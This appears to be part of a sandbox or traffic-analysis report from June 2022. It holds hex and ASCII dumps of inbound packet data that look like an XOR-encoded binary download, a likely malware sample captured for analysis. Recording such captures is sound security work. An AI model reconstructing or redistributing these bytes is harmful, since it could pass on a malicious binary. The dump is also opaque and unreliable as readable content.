Data Ascii: %%%%%Le%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye%7 @< >@DJQe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Qe%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye% $ Jfe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%e%5%%%Le%[e%[e%[e%[e%[e%YYe%uYe%Ye%/ iDgT@Je%%%%%%%
2022-06-26 07:42:48 UTC	86	IN	Data Raw: d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 33 20 2e 99 3c 3e 46 2a 9b 40 97 8b 91 4a 52 b5 95 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 95 52 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 1e 4a 93 99 97 4a 91 1e 66 e5 ed 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 ed 52 65 25 31 25 25 25 d5 4a 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e8 20 7b 3c 97 44 3c 93 99 20 97 97 4a 97 66 e5 49 9d 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 Data Ascii: [e%[e%[e%[e%[e%YYe%uYe%Ye%3 .<>F*@JRRe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Re%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye% JJfRe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Re%1%%%Je%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D< JfIe%%%%%%%%%%%%%%%%%%%%%%%%
2022-06-26 07:42:48 UTC	87	IN	Data Raw: 32 2e 64 eb 64 b2 e4 e5 99 de 66 65 21 e4 f7 99 de 66 77 21 64 9c 14 ac 9b 27 64 ac 14 a4 ce cb 99 4f af 83 da a5 d6 3c 97 2d a5 d6 9f 52 de a5 c6 45 af 5a da a5 da 3c 97 2d a5 da 9f 52 de a5 ca 45 5d d6 99 fd ea db 9e ea db b2 04 f5 36 3a 83 9e b5 14 f5 99 f4 e4 e5 99 f2 e4 f7 99 39 66 6d 21 16 6f 21 50 31 0d 6e da da da 60 e5 50 de d5 dc 9e 0c e5 9e b5 2e 7b 66 17 66 fd 66 eb 0d f2 eb da da 75 66 eb 0d ea ed da da 75 66 9e 0d e2 eb da da 75 66 9e 0d da a2 da da 75 8f 25 8d 25 29 25 25 0d 87 0b da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 eb 0d ba a0 da da 75 66 eb 0d b2 a2 da da 75 66 9e 0d aa a0 da da 75 66 9e 0d a2 a2 da da 75 8f dc 8d 25 29 25 25 0d 4f 0b da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 fb 66 9e 0d 94 da da da 60 e5 ea b9 e5 83 36 9e b5 Data Ascii: 2.ddfe!fw!d'dO<-REZ<-RE]6:9fm!o!P1n`P.{fffufufufu%%)%%^'6.{fffufufufu%)%%O^'6.{ffff`6
2022-06-26 07:42:48 UTC	88	IN	Data Raw: 9c 1c 25 75 66 29 90 6d 9c 1c 25 75 66 a2 0d 0a 9e da da 75 0d 94 bc da da 3a 83 36 9e b5 2e 66 fd 8f 25 8d a5 25 25 25 8f 27 8f 25 8f 25 8d 25 25 25 e5 66 9e 0d 2d 9e da da 75 0d b7 bc da da 36 9e 0d b2 da da da 9e 66 e5 2e 7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d a2 07 da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f 3a 83 36 9e 2e 7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d fe be da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f 3a 83 36 9e 30 66 11 5e e9 1d 2e 7b 66 17 66 fd 66 20 2d 64 20 1d 66 20 31 64 20 21 7b 68 20 21 75 66 20 1d 75 2e 0d 74 07 da da 64 20 1d 66 20 1d 66 30 21 83 36 34 34 38 e7 2d 25 75 0d ef 05 da da 9e b5 30 66 11 5c e9 d9 23 da da 2e 66 fd 68 60 d9 23 da da 75 66 9e 0d 6b e7 da da 75 0d 4d Data Ascii: %uf)m%ufu:6.f%%%%'%%%%%f-u6f.{2,fff%hiI)u2{.`P)If)I:6.{2,fff%hiI)u2{.`P)If)I:60f^.{fff -d f 1d !{h !uf u.td f f0!6448-%u0f\#.fh`#ufkuM
2022-06-26 07:42:48 UTC	90	IN	Data Raw: 0c e5 64 20 21 de 28 35 64 58 1d 0c e5 64 20 19 64 20 15 64 20 11 e4 f7 99 e8 14 f3 99 e4 d1 61 00 99 33 cf 6f 50 ce 64 1d 06 20 1d c4 fe de 25 25 14 f3 99 17 d1 61 00 99 c4 68 83 23 64 38 0d ad 20 c2 61 08 50 e0 14 f3 99 01 d1 0d a3 25 25 25 61 5f 50 2f 64 38 19 14 f3 99 a6 d1 c6 bc 64 38 05 96 da da da da 61 53 50 2f 14 f3 99 dd d1 0d 7f 25 25 25 64 38 01 64 50 fd 2c 77 0d 70 25 25 25 7f 66 38 05 04 a6 4e 27 0c b6 a5 58 c2 08 50 2f 04 ef 4e 29 dc ac 0c f7 ce c9 62 b4 04 ef 4e 29 dc ac 0c f7 d5 45 ce cf 62 b4 04 ef 4e 29 dc ac 0c f7 ce c9 5e 58 15 25 99 2f 77 68 20 15 0d 41 da da da 7f 34 66 50 fd c4 22 da da da 0c b6 61 4f 99 47 61 55 97 18 61 14 52 14 44 b6 2f 25 25 25 51 55 ea db e5 dc 9e 14 f3 99 de d1 c6 09 7d c4 55 da da da 66 20 19 16 20 2d 5a 37 Data Ascii: d !(5dXd d d a3oPd %%ah#d8 aP%%%a_P/d8d8aSP/%%%d8dP,wp%%%f8N'XP/N)bN)EbN)^X%/wh A4fP"aOGaUaRD/%%%QU}Uf -Z7
2022-06-26 07:42:48 UTC	91	IN	Data Raw: 25 ad 20 17 a2 20 11 25 25 25 25 dd ee 25 25 25 a5 d4 25 50 f2 66 20 31 5e 1d 27 58 e0 dd 27 25 25 25 5e 1d 37 a3 e0 dd 37 25 25 25 64 20 31 75 dd ea 02 25 25 a5 58 35 27 97 de 66 20 2d 75 68 20 f9 0d 38 27 25 25 66 58 21 ea 92 20 f9 08 da 5a 25 25 5e 1d 27 4e 3f 64 9c 0d 95 25 25 25 68 d9 24 e5 b1 65 25 de 50 11 94 de 25 25 25 ce c9 c6 08 68 50 b2 ea db 38 35 a5 d6 dc 99 35 a5 d6 29 52 e4 ea 9a 20 f9 16 20 31 a3 27 8e 25 68 41 78 d1 b1 65 25 de 38 11 66 f6 de 38 11 da ae 64 1d 06 20 21 36 83 3a c4 cc dc 25 25 b4 b1 65 25 10 68 65 25 91 68 65 25 91 68 65 25 fb 68 65 25 24 73 6b 73 1c 73 d1 2d e5 50 de d5 55 73 9e a5 58 fb 25 99 de d5 08 cf 9e 0d cc da da da ea 9a 28 f9 0c f7 16 28 31 5a f8 5e d4 d8 a1 3d e4 a4 5a 3f d5 55 cf a5 63 25 99 5f af 20 d6 cf d2 Data Ascii: % %%%%%%%%Pf 1^'X'%%%^77%%%d 1u%%X5'f -uh 8'%%fX! Z%%^'N?d%%%h$e%P%%%hP855)R 1'%hAxe%8f8d !6:%%e%he%he%he%he%$skss-PUsX%((1Z^=Z?Uc%_
2022-06-26 07:42:48 UTC	92	IN	Data Raw: da 36 a5 da 08 50 27 b4 05 a5 d6 25 99 29 ba 1a c6 27 b6 1a 76 ba 05 8b 84 e4 25 50 2b d5 dc c6 29 b8 fd 0c e5 76 b6 07 b4 48 1d 76 c6 7b d1 2d e5 99 29 61 45 99 d2 73 9e 0c e5 0c f7 d1 51 5f 29 2f 4e ea ff e8 a1 9c 1c 25 64 20 19 ff 20 19 67 c6 0f 73 9e 0c e5 0c f7 af 33 a5 d4 06 99 e0 a5 d4 08 50 dc 6b af 2b 51 5f 29 2f 4e 33 6b 46 f7 2f dc e7 5c 1f 19 dc 25 25 97 0f a5 d4 08 50 27 d2 ff 9e 36 83 3a 66 c0 38 9e 30 66 11 5e e9 e5 2e 66 fd 8f 25 8f ea 8f 25 68 30 2d 68 20 e5 0e a4 0d f5 d4 da da 66 ed 68 30 e5 66 9e 0d 31 8a da da 36 66 c0 38 e7 31 25 b5 30 66 11 5e e9 e5 2e 66 fd 8f 25 8f 25 8f 25 68 30 2d 68 20 e5 8c dc 0d c5 d4 da da 66 ed 68 30 e5 66 9e 0d 01 d3 da da 36 66 c0 38 e7 2d 25 b5 2e 7b 66 17 66 fd 66 9e 0d 72 d7 da da 66 fb 0e a4 0d 9b 23 Data Ascii: 6P'%)'v%P+)vHv{-)aEsQ_)/N%d gs3Pk+Q_)/N3kF/\%%P'6:f80f^.f%%h0-h fh0f16f81%0f^.f%%%h0-h fh0f6f8-%.{fffrf#
2022-06-26 07:42:48 UTC	93	IN	Data Raw: 66 ff 60 b6 99 3f 66 30 2d 66 b7 21 23 da da 66 28 2d 68 b9 ec 25 da da da 66 a6 0d fb b9 da da 66 20 2d dc bd 21 23 da da 36 38 9e 66 e5 30 66 11 2e 66 fd 66 20 2d 75 66 9e 0d d2 86 da da 66 f5 66 9e 0d c7 da da da 34 36 38 9e 66 e5 30 66 11 5e e9 05 2e 7b 66 17 66 fd 66 20 2d 75 8f 29 64 50 05 eb 20 09 25 64 38 0d eb 20 11 25 68 20 05 75 8f dc 94 b1 9c 1c 25 68 20 15 df 35 25 25 25 0d d9 ca da da 66 f5 68 20 15 0d 7f da da da 34 83 36 66 c0 38 9e 68 65 25 30 66 11 2c 66 20 2d 5e e5 21 66 35 64 30 21 c6 27 da 25 66 35 af 37 66 28 2d 5f 2c d6 99 17 66 25 06 20 21 65 66 30 2d 64 67 19 34 38 9e 66 e5 30 66 11 66 20 2d a5 9d c8 25 50 4f 66 20 2d 66 65 2d da 95 31 da 95 2d 66 20 2d 68 6d 13 66 20 2d 68 75 15 66 20 2d 5e e5 17 0d 70 23 da da 66 20 2d eb 65 c8 Data Ascii: f`?f0-f!#f(-h%ff -!#68f0f.ff -ufff468f0f^.{fff -u)dP %d8 %h u%h 5%%%fh 46f8he%0f,f -^!f5d0!'%f57f(-_,f% !ef0-dg48f0ff -%POf -fe-1-f -hmf -huf -^p#f -e
2022-06-26 07:42:48 UTC	95	IN	Data Raw: 25 0d ca 1f da da 34 c4 ed e0 25 25 30 0d 0a d6 da da 34 30 0d 7d d6 da da 34 66 20 2d 75 30 68 30 fd 66 20 19 0d 9a d6 da da 34 66 20 fd 0d c7 1f da da 34 c4 76 e0 25 25 30 0d 27 d6 da da 34 30 0d 06 d6 da da 34 66 20 2d 75 30 68 30 f9 66 20 19 0d 23 21 da da 34 66 20 f9 0d 50 1f da da 34 c4 93 e0 25 25 30 0d b0 1f da da 34 30 0d 23 1f da da 34 66 20 19 6d 5e 0d 27 97 29 99 3d c6 55 66 20 2d 75 ea 92 20 15 66 30 19 0d 89 1f da da 34 c4 18 e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 d1 0b 1c 25 0d 4f 1f da da 34 c4 fe e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 01 0b 1c 25 0d 35 1f da da 34 c4 e4 e0 25 25 30 0d 95 1f da da 34 66 20 19 6d 5e 0d 27 97 2f 99 00 6d 99 24 6d 99 48 c6 5a 30 0d ab 1f da da 34 66 20 2d 75 ea 92 20 13 66 30 19 0d d4 d4 da da 34 c4 f7 Data Ascii: %4%%040}4f -u0h0f 4f 4v%%0'404f -u0h0f #!4f P4%%040#4f m^')=Uf -u f04%%f -u f)`%O4%%f -u f)`%54%%04f m^'/m$mHZ04f -u f04
2022-06-26 07:42:48 UTC	96	IN	Data Raw: 66 20 2d 75 dd c1 0b 1c 25 df dc 25 25 25 0d 00 d0 da da 34 c6 40 66 2b 64 20 01 c6 fa 66 2b af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e e6 66 2b 0d 6b f8 25 25 64 2b c6 27 da 2b 66 2b a5 5d 25 99 e4 66 2b af 25 5f 20 d6 50 ac 66 20 2d 75 66 3b 06 30 01 66 20 01 0d b6 19 da da 34 66 2b a5 5d 25 99 3b da 2b c6 37 66 20 2d 75 68 20 d6 df dc 25 25 25 0d e3 19 da da 34 66 2b a5 5d 25 ea 60 ff 1d da da 66 20 2d da ad 1d 23 da da 0e e5 7f 34 34 89 64 35 8d f0 c7 65 25 68 20 f9 df 27 25 25 25 0d 1a c3 da da 9e c4 4c 72 da da c6 c6 3a 83 36 66 c0 38 9e 1c 28 0a 75 28 25 25 25 1c 0a 75 25 1c 28 75 28 25 25 25 25 1c 1c 1c 1c 25 25 25 25 1c 1c 1c 25 45 25 25 25 30 66 11 5c e9 1d 23 da da 2e 7b 66 ff 66 15 0e e5 64 60 21 23 da da 0e e5 64 60 1d 23 da da 60 b6 99 e6 Data Ascii: f -u%%%%4@f+d f+%%%%~=%Nf+k%%d+'+f+]%f+%_ Pf -uf;0f 4f+]%;+7f -uh %%%4f+]%`f -#44d5e%h '%%%Lr:6f8(u(%%%u%(u(%%%%%%%%%E%%%0f\#.{ffd`!#d`#`
2022-06-26 07:42:48 UTC	97	IN	Data Raw: 13 8b 66 20 17 8b 64 20 11 c6 5b 8b 66 58 15 af 20 c4 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 19 8b 64 20 11 c6 3f 8b 66 58 19 af 20 c6 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 15 8b 64 20 11 5e 58 21 25 a3 33 30 ea 92 a2 0d e2 23 da da 34 66 1d c6 95 a5 58 0d 27 52 8f 0d 46 ca da da ea 92 ed ea 92 e0 09 e5 1c 25 06 ed 66 9c 2c 94 89 25 25 25 74 d2 d4 34 8b 46 e5 89 8b de 1d 8b 5e 18 09 e5 1c 25 25 9b 61 ea 92 a2 16 ed a3 10 8b 5e a2 89 c6 0a 0d 55 ca da da 66 1d a5 58 1b dc 50 37 8b 66 20 19 8b 64 20 11 8b 66 20 17 8b 64 20 13 c6 35 8b 66 20 19 8b 64 20 13 8b 66 20 17 8b 64 20 11 66 ae af e8 6c 0b 1c 25 66 eb 0d 3e 21 da da 66 ae 66 eb 0d 3b d6 da da a5 18 79 c2 1c 25 25 ea a9 8e 25 25 25 66 f0 b9 0b 1c 25 dd d5 cd 65 25 0d f4 c3 da da 60 e5 ea a9 76 Data Ascii: f d [fX f d f d ?fX f d f d ^X!%30#4fX'RF%f,%%%t4F^%%a^UfXP7f d f d 5f d f d fl%f>!ff;y%%%%%f%e%`v
2022-06-26 07:42:48 UTC	99	IN	Data Raw: da da 66 9e 0d d4 b9 da da c6 e4 66 9e 66 fb 0d 77 b9 da da 83 36 66 c0 38 e7 29 25 66 e5 2e 7b 32 2c 66 b4 66 17 66 1d 8f 27 68 69 49 29 75 7b 32 0d 29 dd da da 60 e5 a3 e0 af 29 49 c6 27 66 9e 7f 3a 83 36 9e 30 66 11 2c 2e 7b 32 64 28 21 66 1f 66 15 66 38 2d 2e 66 20 35 66 65 21 0e a4 66 fb 0d 46 da da da 5e 16 25 50 e8 66 20 21 66 29 dd 66 ae 0d 58 d7 da da 3a 83 36 34 38 e7 2d 25 b5 30 66 11 0e a4 2c 2c 2c 2c 2c 2c 2e 7b 32 0e e5 30 8d 86 88 65 25 89 da 55 89 64 45 0d a2 92 da da 64 20 21 96 dc 25 25 25 e3 d5 0b 1c 25 9a 05 0b 1c 25 30 8f e6 68 20 19 75 94 b5 9c 1c 25 66 ae 6f 68 1e 69 6d 0d 54 da da da 34 66 30 19 66 eb 0d b3 6e da da 30 8f e6 68 20 15 75 94 e5 9c 1c 25 66 ae 6f 68 1e 5d 6d 0d 7b da da da 34 66 30 15 66 a2 0d 46 6e da da 1e 5e a2 29 Data Ascii: fffw6f8)%f.{2,fff'hiI)u{2)`)I'f:60f,.{2d(!fff8-.f 5fe!fF^%Pf !f)fX:648-%0f,,,,,,.{20e%UdEd !%%%%%0h u%fohimT4f0fn0h u%foh]m{4f0fFn^)
2022-06-26 07:42:48 UTC	100	IN	Data Raw: 7b 0d a6 8e da da 5c 98 01 21 da da 25 35 25 25 50 41 8d e0 dc 25 25 68 60 0f d8 da da 75 66 60 f5 21 da da 75 0d 9a d7 da da 60 e5 50 fe 8d e0 dc 25 25 68 60 0f d8 da da 75 7c 8d 0b 1c 25 75 0d c9 d7 da da 66 eb 0d 68 da da da 64 20 19 c6 e4 06 90 f5 21 da da 64 50 19 68 60 0f d8 da da d7 81 0d b7 33 25 25 66 f5 67 68 60 ca 23 da da 94 29 dc 25 25 0d 22 ae da da dd 09 d7 65 25 64 20 21 dd 09 d7 65 25 64 20 1d 66 9e 66 f0 d5 4a 65 25 0d 53 a9 da da a9 e5 99 04 66 1e 29 0d fb b7 da da 64 20 21 66 20 21 0d c6 f7 da da 60 e5 99 37 66 30 21 a5 a1 27 da 53 99 2d dd 0d d7 65 25 64 20 1d 8d 25 dc 25 25 68 60 0f 21 da da 75 7c 5d f5 1c 25 66 65 29 75 7c 8d 0b 1c 25 0d d3 7c da da 75 0d 75 8e da da 68 70 c9 d6 da da 66 de 0d 8a 5c da da 68 60 c9 d6 da da 64 60 c9 Data Ascii: {\!%5%%PA%%h`uf`!u`P%%h`u\|%ufhd !dPh`3%%fgh`#)%%"e%d !e%d ffJe%Sf)d !f !`7f0!'S-e%d %%%h`!u\|]%fe)u\|%\|uuhpf\h`d`
2022-06-26 07:42:48 UTC	101	IN	Data Raw: da da 66 20 21 64 20 09 eb 20 0d e6 64 50 11 eb 20 15 e6 64 58 19 eb 20 1d 25 68 20 09 75 8f 27 68 30 05 7c 0d aa 1c 25 0d f2 cd da da 66 28 05 d7 dc 7c fd 52 65 25 0d 11 21 da da 66 fd 0e e5 7f 34 34 89 64 35 8d 06 92 65 25 68 20 05 0d e8 64 da da 68 20 21 0d e0 64 da da 9e c4 36 a7 da da c6 0d 66 9e 3a 83 36 66 c0 38 9e 64 f1 64 39 49 66 48 25 c4 56 a7 da da 9e 66 e5 30 66 11 0d 61 da da da 68 28 2d 5e 9c 29 66 30 2d 0d ff da da da 38 e7 29 25 66 e5 66 e8 e1 f3 1c 25 d7 dc 7c 5d 9d 65 25 0d 23 21 da da 0d 20 a7 da da 9e 66 25 18 b7 25 25 e5 5a 51 99 34 18 b3 25 25 e5 5a f0 99 2e 08 e0 25 25 e5 99 30 08 62 25 25 25 99 61 6d 99 6d c6 30 e0 4c da da 1a 5e 0d 27 97 0e 99 12 c6 22 18 bb 25 25 e5 5a ec 99 10 08 6e 25 25 e5 99 4d 6d 99 ee 6d 99 3b c6 0a 08 d8 Data Ascii: f !d dP dX %h u'h0\|%f(\|Re%!f44d5e%h dh !d6f:6f8dd9IfH%Vf0fah(-^)f0-8)%ff%\|]e%#! f%%%ZQ4%%Z.%%0b%%%amm0L^'"%%Zn%%Mmm;
2022-06-26 07:42:48 UTC	103	IN	Data Raw: 94 a5 25 25 25 0d 48 ab da da 5c e9 b9 25 25 25 9e 66 e5 7b 32 66 1f 0e f7 60 e5 99 8b a5 61 5d 25 99 85 60 da 50 39 af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 71 d7 dc c6 6d 66 d2 73 c6 dc 73 60 1b a1 37 af 31 55 5c bc da 25 25 25 ea 7e e8 3d 9c 1c 25 97 c4 66 aa 06 f3 5c bc dc 25 25 a5 54 e0 24 5e a4 23 1c 60 a4 50 29 d7 27 c6 ee af 29 5d 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 27 d7 dc 66 e7 3a 83 9e 68 65 25 2e 7b 66 17 66 fd 0e e5 a5 18 79 c2 1c 25 25 99 ea 66 9e 0d 49 ad da da 66 fb 6f 0d 8d da da da 83 36 9e b5 0e a4 a5 18 79 c2 1c 25 25 99 e2 0d 79 da da da 66 ed 66 9c 9e 68 65 25 2e 7b 66 17 66 fd 66 9e 0d ce 60 da da 16 15 a3 e4 66 9e 0d 0d 60 da da 66 15 66 fb 66 9e 0d e0 25 25 25 83 36 9e 66 e5 2e 7b 32 30 66 1f 66 15 0e c8 60 da a3 6b 66 eb Data Ascii: %%%H\%%%f{2f`a]%`P9%%%%~=%Nqmfss`71U\%%%~=%f\%%T$^#`P)')]%%%~=%N'f:he%.{ffy%%fIfo6y%%yffhe%.{fff`f`fff%%%6f.{20ff`kf
2022-06-26 07:42:48 UTC	104	IN	Data Raw: 7c 6d c2 1c 25 0d 99 da da da 75 0d 9b c7 da da 0e 1b c6 04 af 69 12 2b af 81 12 e2 4f fd 97 3f 1e ad 20 da af 20 da 00 da 25 25 25 ea 86 e0 3d 9c 1c 25 23 20 da 23 a6 50 0f 5e eb 27 5e 23 31 58 2f af 69 12 2b 2f 69 12 e2 50 ed 3a 83 36 34 38 9e 7c 71 c2 1c 25 5e 1d fa 52 e2 ea 7e e0 35 9e 1c 25 ea b7 e5 9e 68 65 25 30 66 11 5c e9 89 23 da da 2e 7b 32 a2 e0 6d c2 1c 25 e4 29 25 25 a2 e0 71 c2 1c 25 e4 25 25 25 a2 e0 75 c2 1c 25 dc 25 25 25 0d 48 c7 da da 60 e5 99 e0 7e 6d c2 1c 25 8b 60 e5 99 f6 66 f5 8b 5c 07 da de ea 92 f7 64 f0 71 c2 1c 25 ea 92 e5 9c 0d 2f 7e 75 c2 1c 25 e3 61 9e 65 25 9a 3d 9c 1c 25 94 2d 25 25 25 ce 80 5e 18 f5 e5 1c 25 27 ea 60 88 25 25 25 0d 48 da da da a9 e5 99 ee eb e0 30 c2 1c 25 25 eb e0 79 c2 1c 25 25 c4 9a 25 25 25 30 0d 15 Data Ascii: \|m%ui+O? %%%=%# #P^'^#1X/i+/iP:648\|q%^R~5%he%0f\#.{2m%)%%q%%%%u%%%%H`~m%`f\dq%/~u%ae%=%-%%%^%'`%%%H0%%y%%%%%0
2022-06-26 07:42:48 UTC	105	IN	Data Raw: 25 da 00 59 ce 1c 25 66 e5 30 66 11 5e e9 11 2e 0e e5 64 20 11 0e e5 30 8d 91 a2 65 25 89 da 55 89 64 45 0d 20 78 da da 66 fd 60 b6 99 12 64 38 15 eb 20 19 25 68 30 11 66 9e 0d af 09 da da 66 20 11 64 20 1d eb 20 21 e6 68 20 15 75 8f dc 66 e8 cd aa 1c 25 d7 dc 7c 15 9d 65 25 0d 9d c8 da da 66 f5 c6 39 66 e8 45 f5 1c 25 d7 dc 7c 15 9d 65 25 0d 4b c8 da da 66 f5 64 7f 31 66 e7 0d 8b 97 da da 0e e5 7f 34 34 89 64 35 8d 4e a2 65 25 68 20 11 0d 98 9d da da 9e c4 ee 97 da da c6 15 36 66 c0 38 9e 2e 66 fd 60 b6 50 e0 0d 7d da da da 66 9e 36 9e 2e 7b 2c 96 39 9e 1c 25 66 19 c6 3b 66 de 64 2b 66 2b 66 25 64 de df 2d 25 25 25 66 2b 0d 5f 87 da da 5e 16 25 50 c0 7f 83 36 9e b5 2e 8d 11 a2 65 25 0d 7c c1 da da 66 fd 60 b6 99 35 8d 21 a2 65 25 2e 0d bd c1 da da 7e 61 Data Ascii: %Y%f0f^.d 0e%UdE xf`d8 %h0ff d !h uf%\|e%f9fE%\|e%Kfd1f44d5Ne%h 6f8.f`P}f6.{,9%f;fd+f+f%d-%%%f+_^%P6.e%\|f`5!e%.~a
2022-06-26 07:42:48 UTC	107	IN	Data Raw: da da 66 29 49 da 6d 31 66 29 49 5e 9d 31 25 50 6d 66 f9 66 1e 45 0d e4 d8 da da 0d e9 72 da da 16 1e 49 99 59 68 1e 31 0d 92 d6 da da 66 ed 5c d4 da da 25 25 50 e4 66 9e 0d 43 23 da da c6 f4 60 a4 5a f0 66 9c 94 da da 25 25 74 d2 d4 60 f7 50 e2 66 9e 0d de 23 da da 7f 36 9e 66 35 0e a4 64 2d 66 e7 0d e2 8d da da 9e 66 e5 30 66 11 5e e9 19 2e 66 fd 77 0d 2c bd da da 64 20 19 0e e5 30 8d 2f a8 65 25 89 da 55 89 64 45 b4 58 23 0e e5 30 8d 11 f1 65 25 89 da 55 89 64 45 66 9e 0d 3d 9d da da 75 0d ef 72 da da 64 20 1d 0e e5 7f 34 34 89 64 35 8d ce f1 65 25 b6 07 b4 48 23 9e c4 6e 91 da da c6 ce 0e e5 7f 34 34 89 64 35 8d ec a8 65 25 66 20 19 75 0d ca 72 da da 9e c4 50 91 da da c6 ca 66 20 1d 36 66 c0 38 9e 68 65 25 f8 25 25 25 31 9e 1c 25 b1 aa 1c 25 29 9e 1c Data Ascii: f)Im1f)I^1%PmffErIYh1f\%%PfC#`Zf%%t`Pf#6f5d-ff0f^.fw,d 0/e%UdEX#0e%UdEf=urd 44d5e%H#n44d5e%f urPf 6f8he%%%%1%%)
2022-06-26 07:42:48 UTC	108	IN	Data Raw: 65 dd 41 a8 65 25 0d 45 91 da da dd 2d f3 65 25 0d 63 91 da da a5 18 40 0b 1c 25 25 99 ea dd 5d 9c 1c 25 df 0d ac 65 25 0d ef 93 da da 0d e4 c4 da da 0d 2d 0f da da 0d ce d0 da da 0d bb cc da da 0e e5 7f 34 34 89 64 35 8d b6 ac 65 25 9e c4 86 42 da da c6 1d 38 9e 25 25 25 da da da da 27 25 25 25 55 9d 25 25 2e 7b 66 17 66 fd 16 ce 58 33 66 9e 06 eb 0d b4 81 da da de eb 83 36 9e 66 eb 06 9e 0d a6 81 da da de 9e 83 36 9e 66 e5 30 66 11 0e e5 30 8d 14 f7 65 25 89 da 55 89 64 45 da e0 cd c2 1c 25 0e e5 7f 34 34 89 64 35 8d 65 f7 65 25 9e c4 6b 42 da da c6 1d 38 9e 66 e5 5e 08 cd c2 1c 25 dc 9e 30 66 11 0e e5 30 8d 4c f7 65 25 89 da 55 89 64 45 da e0 d1 c2 1c 25 0e e5 7f 34 34 89 64 35 8d 9d f7 65 25 9e c4 33 42 da da c6 1d 38 9e 66 e5 5e 08 d1 c2 1c 25 dc 9e Data Ascii: eAe%E-e%c@%%]%e%-44d5e%B8%%%'%%%U%%.{ffX3f6f6f0f0e%UdE%44d5ee%kB8f^%0f0Le%UdE%44d5e%3B8f^%
2022-06-26 07:42:48 UTC	110	IN	Data Raw: 15 66 9e 36 34 38 e7 35 25 b5 da 00 6d ce 1c 25 66 e5 da 00 69 ce 1c 25 66 e5 da 00 65 ce 1c 25 66 e5 da 00 61 ce 1c 25 66 e5 30 66 11 2c 2e 7b 66 ff 66 15 64 38 21 66 20 2d 5e 9d 21 25 99 f4 7b 66 20 2d 66 65 21 75 0d 18 68 da da 64 20 21 5e 58 21 25 50 de 64 38 21 66 20 21 83 36 34 38 9e b5 30 66 11 2c 8d 5d b4 65 25 0d 37 68 da da 64 20 21 30 df c9 f7 65 25 dd 6d b4 65 25 0d 82 da da da 34 7e d5 c2 1c 25 30 df f9 f7 65 25 dd 81 b4 65 25 0d 6c da da da 34 7e d9 c2 1c 25 30 df f9 f7 65 25 dd 89 b4 65 25 0d 56 da da da 34 7e dd c2 1c 25 30 df 05 f7 65 25 dd 91 b4 65 25 0d 40 da da da 34 7e e1 c2 1c 25 30 df 05 f7 65 25 dd 99 b4 65 25 0d 2a da da da 34 7e e5 c2 1c 25 30 df 05 f7 65 25 dd a1 b4 65 25 0d 14 da da da 34 7e e9 c2 1c 25 30 df 05 f7 65 25 dd a9 Data Ascii: f6485%m%fi%fe%fa%f0f,.{ffd8!f -^!%{f -fe!uhd !^X!%Pd8!f !6480f,]e%7hd !0e%me%4~%0e%e%l4~%0e%e%V4~%0e%e%@4~%0e%e%*4~%0e%e%4~%0e%
2022-06-26 07:42:48 UTC	111	IN	Data Raw: 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3c 97 44 3c 93 99 79 54 95 40 1e 3c 4e 99 20 97 97 4a 97 66 e5 e1 01 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 e1 01 65 25 31 25 25 25 a1 52 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3c 97 44 3c 93 99 2a 9b 40 97 8b 91 4a 52 20 97 97 4a 97 66 e5 45 b8 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 45 b8 65 25 31 25 25 25 a1 52 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f2 20 7b 3c 97 44 3c 93 99 24 93 9b 3c 91 44 89 1c 97 42 20 97 97 Data Ascii: %[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<yT@<N Jfe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%e%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<*@JR JfEe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Ee%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<$<DB
